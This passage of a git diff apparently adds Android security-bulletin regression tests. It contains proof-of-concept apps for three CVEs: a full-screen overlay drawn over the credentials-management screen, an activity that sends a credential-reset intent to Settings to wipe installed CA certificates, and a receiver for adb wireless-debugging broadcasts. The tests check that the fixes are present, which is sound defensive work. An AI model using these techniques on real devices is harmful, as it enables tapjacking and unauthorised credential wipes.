+        Intent intent = new Intent(context, PocService.class);
+        assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
+                Settings.canDrawOverlays(context));
+        try {
+            context.startService(intent);
+        } catch (Exception e) {
+            assumeNoException(context.getString(R.string.overlayServiceNotStartedException), e);
+        }
+    }
+
+    public void startVulnerableActivity() {
+        Context context = getApplicationContext();
+        assumeNotNull(context);
+        Intent intent = new Intent(Credentials.ACTION_MANAGE_CREDENTIALS);
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        AppUriAuthenticationPolicy policy = new AppUriAuthenticationPolicy.Builder()
+                .addAppAndUriMapping(context.getPackageName(), Uri.parse(""),
+                        context.getString(R.string.overlayAttack))
+                .build();
+        intent.putExtra(KeyChain.EXTRA_AUTHENTICATION_POLICY, policy);
+        PackageManager pm = context.getPackageManager();
+        assumeNotNull(pm);
+        ResolveInfo ri = pm.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+        assumeTrue(context.getString(R.string.activityNotFoundMsg) + intent, ri != null);
+        assumeNotNull(ri.activityInfo);
+        vulnerableActivityName = ri.activityInfo.name;
+        try {
+            context.startActivity(intent);
+        } catch (Exception e) {
+            assumeNoException(context.getString(R.string.activityNotStartedException) + intent, e);
+        }
+    }
+
+    @Test
+    public void testOverlayButtonPresence() {
+        Context context = getApplicationContext();
+        assumeNotNull(context);
+        UiDevice device = UiDevice.getInstance(getInstrumentation());
+        assumeNotNull(device);
+
+        /* Start the overlay service */
+        startOverlayService();
+
+        /* Wait for the overlay window */
+        Pattern overlayTextPattern = Pattern.compile(context.getString(R.string.overlayButtonText),
+                Pattern.CASE_INSENSITIVE);
+        assumeTrue(context.getString(R.string.overlayUiScreenError),
+                device.wait(Until.hasObject(By.text(overlayTextPattern)), LAUNCH_TIMEOUT_MS));
+
+        /* Start the vulnerable activity */
+        startVulnerableActivity();
+
+        /* Wait until the object of launcher activity is gone */
+        boolean overlayDisallowed = device.wait(Until.gone(By.pkg(context.getPackageName())),
+                LAUNCH_TIMEOUT_MS);
+
+        /* Check if the currently running activity is the vulnerable activity */
+        String activityDump = "";
+        try {
+            activityDump = device.executeShellCommand(
+                    context.getString(R.string.dumpsysActivity) + " " + vulnerableActivityName);
+        } catch (IOException e) {
+            assumeNoException(context.getString(R.string.dumpsysActivityNotStartedException), e);
+        }
+        Pattern activityPattern =
+                Pattern.compile(context.getString(R.string.mResumedTrue), Pattern.CASE_INSENSITIVE);
+        assumeTrue(context.getString(R.string.vulActivityNotRunningError),
+                activityPattern.matcher(activityDump).find());
+
+        /* Failing the test as fix is not present */
+        assertTrue(context.getString(R.string.errorMessage), overlayDisallowed);
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/PocService.java
new file mode 100644
index 0000000..e20029af7
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/PocService.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39702;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.graphics.PixelFormat;
+import android.os.IBinder;
+import android.provider.Settings;
+import android.view.Gravity;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Button;
+
+public class PocService extends Service {
+    public static Button mButton;
+    private WindowManager mWindowManager;
+    private WindowManager.LayoutParams mLayoutParams;
+
+    private static int getScreenWidth() {
+        return Resources.getSystem().getDisplayMetrics().widthPixels;
+    }
+
+    private static int getScreenHeight() {
+        return Resources.getSystem().getDisplayMetrics().heightPixels;
+    }
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+        mWindowManager = getSystemService(WindowManager.class);
+        mLayoutParams = new WindowManager.LayoutParams();
+        mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+        mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+                | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+        mLayoutParams.format = PixelFormat.OPAQUE;
+        mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP;
+        mLayoutParams.width = getScreenWidth();
+        mLayoutParams.height = getScreenHeight();
+        mLayoutParams.x = getScreenWidth() / 2;
+        mLayoutParams.y = getScreenHeight() / 2;
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        showFloatingWindow();
+        return super.onStartCommand(intent, flags, startId);
+    }
+
+    @Override
+    public void onDestroy() {
+        if (mWindowManager != null && mButton != null) {
+            mWindowManager.removeView(mButton);
+        }
+        super.onDestroy();
+    }
+
+    private void showFloatingWindow() {
+        Context context = getApplicationContext();
+        assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
+                Settings.canDrawOverlays(context));
+        mButton = new Button(context);
+        mButton.setText(context.getString(R.string.overlayButtonText));
+        mWindowManager.addView(mButton, mLayoutParams);
+        mButton.setTag(mButton.getVisibility());
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/Android.bp
new file mode 100644
index 0000000..ea7eb99
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CVE-2021-39706",
+    defaults: [
+        "cts_defaults",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "sts",
+    ],
+    sdk_version: "current",
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/AndroidManifest.xml
new file mode 100644
index 0000000..4ee35ba
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/AndroidManifest.xml
@@ -0,0 +1,48 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2021_39706"
+    android:versionCode="1"
+    android:versionName="1.0">
+    <application
+        android:testOnly="true"
+        android:label="CVE-2021-39706"
+        android:supportsRtl="true">
+        <activity
+            android:name=".PocActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+        <receiver android:name=".PocDeviceAdminReceiver"
+            android:exported="true"
+            android:permission="android.permission.BIND_DEVICE_ADMIN">
+            <meta-data
+                android:name="android.app.device_admin"
+                android:resource="@xml/device_policies" />
+            <intent-filter>
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"></action>
+            </intent-filter>
+        </receiver>
+    </application>
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2021_39706" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/layout/activity_main.xml
new file mode 100644
index 0000000..6188e9a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/layout/activity_main.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+        xmlns:app="http://schemas.android.com/apk/res-auto"
+        xmlns:tools="http://schemas.android.com/tools"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent">
+
+    <Button
+        android:id="@+id/button"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="@string/cleanCache" />
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/values/strings.xml
new file mode 100644
index 0000000..2afb31c
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/values/strings.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+    <string name="settingsPkg">com.android.settings</string>
+    <string name="settingsPkgCar">com.android.car.settings</string>
+    <string name="certCls">com.android.settings.security.CredentialStorage</string>
+    <string name="certClsCar">com.android.car.settings.security.CredentialStorageActivity</string>
+    <string name="certInstalled">Certificate is already installed</string>
+    <string name="certInstallFail">Certificate installation failed!</string>
+    <string name="certNotFound">Certificate not found after installation</string>
+    <string name="pkgName">android.security.cts.CVE_2021_39706</string>
+    <string name="openFail">Failed to open </string>
+    <string name="tapFail">Failed to Tap </string>
+    <string name="pkgInstallFail"> is not installed!</string>
+    <string name="oK">OK</string>
+    <string name="cleanCache">CLEAN CACHE</string>
+    <string name="failMessage">Vulnerable to b/200164168 !!</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/xml/device_policies.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/xml/device_policies.xml
new file mode 100644
index 0000000..8a3a4d3
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/xml/device_policies.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<device-admin>
+    <uses-policies>
+        <disable-camera/>
+    </uses-policies>
+</device-admin>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/DeviceTest.java
new file mode 100644
index 0000000..fcff1b1
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/DeviceTest.java
@@ -0,0 +1,151 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39706;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.content.res.Resources;
+import android.security.cts.CVE_2021_39706.PocActivity;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    private static final int TIMEOUT = 10000;
+    private static Resources resources;
+    private static String settingsPkg;
+
+    /*
+     * The Certificate and keypair below are generated with:
+     *
+     * openssl req -nodes -new -x509 -keyout key.pem -out cert.pem -days 3650
+     */
+
+    // Content from cert.pem
+    public static final String TEST_CA = "-----BEGIN CERTIFICATE-----\n"
+            + "MIIDAzCCAeugAwIBAgIUax98yDH6YvGpzh2XQBYV7MU2ao8wDQYJKoZIhvcNAQEL\n"
+            + "BQAwETEPMA0GA1UECgwGZ29vZ2xlMB4XDTIyMDIxNzExMzcxNloXDTMyMDIxNTEx\n"
+            + "MzcxNlowETEPMA0GA1UECgwGZ29vZ2xlMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A\n"
+            + "MIIBCgKCAQEAoPTRA3pjJc1JTQN3EK6Jtl9JkJaI0+P/e3Bzyi4MkxrSuHDvfqP0\n"
+            + "08roSZgG0a/I1oSlfTSt5QEOvuJH3KVW0IuUF71JYO6rmm7wU2Clx89qmONgQGJR\n"
+            + "G72qvhIBEN1zma2WK9NFcQ4amYspLfkB9HSjy3C+LCwgqoQFfND6uaCGELayx4km\n"
+            + "CnJgBfxNddcz0abWShJ0fr0lOPtKY4tPHhE/1oWGGqAI/U808veLJDpQ06c8wjNf\n"
+            + "8GD7thykOwoTlF630gz0gA/VkmxiOfn0WXRS8VeJ6TeilFsBNUSD4tLA250U8r0F\n"
+            + "d9yFMRVtdFPuNP1ajf2IO+RLpQUr2kWAbQIDAQABo1MwUTAdBgNVHQ4EFgQU1gXp\n"
+            + "r3L/Gf39tvSOZrD5wSQmUJAwHwYDVR0jBBgwFoAU1gXpr3L/Gf39tvSOZrD5wSQm\n"
+            + "UJAwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAFDTpZ1LNtd29\n"
+            + "hh+8TFvAOoaMx06AgnTRdLdsWwcjJCCAHvBiimE23XFO91VjTbttIXynpnKHVwOf\n"
+            + "lgTsExLtXDFU65OQNaWt7UebtWdvxsThd754SUsSGVuZ6VXyI5EuADoU/MocdE3B\n"
+            + "+EJZnl/HvG4KKPTL+YdlvthI1j5WUmI2m7yVzYouC72y92L3ebPaGdMcbp9wjZ89\n"
+            + "LdvAJ8yaLqVxv7TQgXORUo1NrqASsVVW/IgmovHuZj9wK7ZenFhT58ue7nxqQm4Z\n"
+            + "nQfdnxdV19tprMfx1+uu7NNqvxCv1UN6peeBzF/0Bony+9oNzOnGYwMRm9Ww8+mJ\n"
+            + "v02a06J8kg==\n" + "-----END CERTIFICATE-----";
+
+    private UiDevice device;
+    private Context context;
+    private PackageManager packageManager;
+
+    private void openApplication(String applicationName) {
+        Intent intent = context.getPackageManager().getLaunchIntentForPackage(applicationName);
+        intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+        context.startActivity(intent);
+        assumeTrue(resources.getString(R.string.openFail) + applicationName,
+                device.wait(Until.hasObject(By.pkg(applicationName)), TIMEOUT));
+    }
+
+    private void tapText(String text) {
+        boolean buttonClicked = false;
+        UiObject2 object = device.findObject(By.text(text));
+        if (object != null && object.getText() != null) {
+            object.click();
+            buttonClicked = true;
+        }
+        assumeTrue(resources.getString(R.string.tapFail) + text, buttonClicked);
+    }
+
+    protected boolean isPackageInstalled(String packageName) {
+        try {
+            PackageInfo pi = packageManager.getPackageInfo(packageName, 0);
+            return pi != null;
+        } catch (PackageManager.NameNotFoundException e) {
+            return false;
+        }
+    }
+
+    @Before
+    public void setUp() {
+        // Initialize UiDevice instance
+        device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        context = InstrumentationRegistry.getInstrumentation().getContext();
+        packageManager = context.getPackageManager();
+        resources = context.getResources();
+        settingsPkg = PocActivity.checkIsCar() ? resources.getString(R.string.settingsPkgCar)
+                : resources.getString(R.string.settingsPkg);
+        assumeTrue(settingsPkg + resources.getString(R.string.pkgInstallFail),
+                isPackageInstalled(settingsPkg));
+    }
+
+    @Test
+    public void testCredentialReset() {
+        final byte[] cert = TEST_CA.getBytes();
+        PocPolicyManager policyManager = new PocPolicyManager(getApplicationContext());
+        assumeFalse(resources.getString(R.string.certInstalled),
+                policyManager.hasCaCertInstalled(cert));
+        assumeTrue(resources.getString(R.string.certInstallFail),
+                policyManager.installCaCert(cert));
+        assumeTrue(resources.getString(R.string.certNotFound),
+                policyManager.hasCaCertInstalled(cert));
+
+        // Open the PoC and attempt to reset credentials
+        openApplication(resources.getString(R.string.pkgName));
+        // Button is used to reset credentials after confirming that PoC opened successfully
+        tapText(resources.getString(R.string.cleanCache));
+        if (device.wait(Until.hasObject(By.pkg(settingsPkg)), TIMEOUT)) {
+            // Press OK in the reset dialog which confirms before clearing certificates
+            tapText(resources.getString(R.string.oK));
+        }
+        long end = System.currentTimeMillis() + TIMEOUT;
+        while (System.currentTimeMillis() < end) {
+            if (!policyManager.hasCaCertInstalled(cert)) {
+                // Without fix, the certificate is reset
+                fail(resources.getString(R.string.failMessage));
+            }
+        }
+
+        // With fix, the certificate is not reset. Uninstall it explicitly
+        policyManager.uninstallCaCert(cert);
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocActivity.java
new file mode 100644
index 0000000..7d112f2
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocActivity.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39706;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.os.Bundle;
+import android.view.View;
+import android.widget.Button;
+
+import androidx.test.InstrumentationRegistry;
+
+public class PocActivity extends Activity {
+
+    public static boolean checkIsCar() {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        PackageManager pm = context.getPackageManager();
+        return pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.activity_main);
+        Button button = (Button) findViewById(R.id.button);
+        button.setOnClickListener(new View.OnClickListener() {
+            @Override
+            public void onClick(View view) {
+                credentialStorageReset();
+            }
+        });
+    }
+
+    private void credentialStorageReset() {
+        boolean isCar = checkIsCar();
+        Intent intent = new Intent("com.android.credentials.RESET");
+        String pkg = isCar ? getResources().getString(R.string.settingsPkgCar)
+                : getResources().getString(R.string.settingsPkg);
+        String cls = isCar ? getResources().getString(R.string.certClsCar)
+                : getResources().getString(R.string.certCls);
+        intent.setClassName(pkg, cls);
+        try {
+            startActivity(intent);
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocDeviceAdminReceiver.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocDeviceAdminReceiver.java
new file mode 100644
index 0000000..4c413c2
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocDeviceAdminReceiver.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39706;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+public class PocDeviceAdminReceiver extends DeviceAdminReceiver {
+
+    @Override
+    public void onEnabled(Context context, Intent intent) {
+        super.onEnabled(context, intent);
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocPolicyManager.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocPolicyManager.java
new file mode 100644
index 0000000..76a5a94
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocPolicyManager.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39706;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+
+public class PocPolicyManager {
+    private Context mContext;
+    private DevicePolicyManager mDevicePolicyManager;
+    private ComponentName mComponentName;
+
+    public PocPolicyManager(Context context) {
+        this.mContext = context;
+        mDevicePolicyManager = mContext.getSystemService(DevicePolicyManager.class);
+        mComponentName = new ComponentName(PocDeviceAdminReceiver.class.getPackage().getName(),
+                PocDeviceAdminReceiver.class.getName());
+    }
+
+    public boolean installCaCert(byte[] cert) {
+        return mDevicePolicyManager.installCaCert(mComponentName, cert);
+    }
+
+    public boolean hasCaCertInstalled(byte[] cert) {
+        return mDevicePolicyManager.hasCaCertInstalled(mComponentName, cert);
+    }
+
+    public void uninstallCaCert(byte[] cert) {
+        mDevicePolicyManager.uninstallCaCert(mComponentName, cert);
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/Android.bp
new file mode 100644
index 0000000..dbf8b37
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/Android.bp
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CVE-2021-39794-receiver",
+    defaults: [
+        "cts_support_defaults",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/AndroidManifest.xml
new file mode 100644
index 0000000..8464275
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/AndroidManifest.xml
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2021_39794_receiver"
+    android:versionCode="1"
+    android:versionName="1.0">
+    <uses-sdk android:targetSdkVersion="25"/>
+    <application
+        android:label="CVE-2021-39794-receiver"
+        android:supportsRtl="true">
+        <activity
+            android:name=".PocActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+        <receiver android:name=".PocReceiver"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="com.android.server.adb.WIRELESS_DEBUG_STATUS" />
+                <action android:name="com.android.server.adb.WIRELESS_DEBUG_PAIRED_DEVICES" />
+                <action android:name="com.android.server.adb.WIRELESS_DEBUG_PAIRING_RESULT" />
+            </intent-filter>
+        </receiver>
+    </application>
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/res/layout/activity_main.xml
new file mode 100644
index 0000000..a85bec9
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/res/layout/activity_main.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+        android:orientation="vertical"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent">
+    <View
+        android:id="@+id/drawableview"
+        android:layout_width="match_parent"
+        android:layout_height="300dp" />
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/src/android/security/cts/CVE_2021_39794_receiver/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/src/android/security/cts/CVE_2021_39794_receiver/PocActivity.java
new file mode 100644
index 0000000..c62e464
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/src/android/security/cts/CVE_2021_39794_receiver/PocActivity.java
@@ -0,0 +1,29 @@
+/*
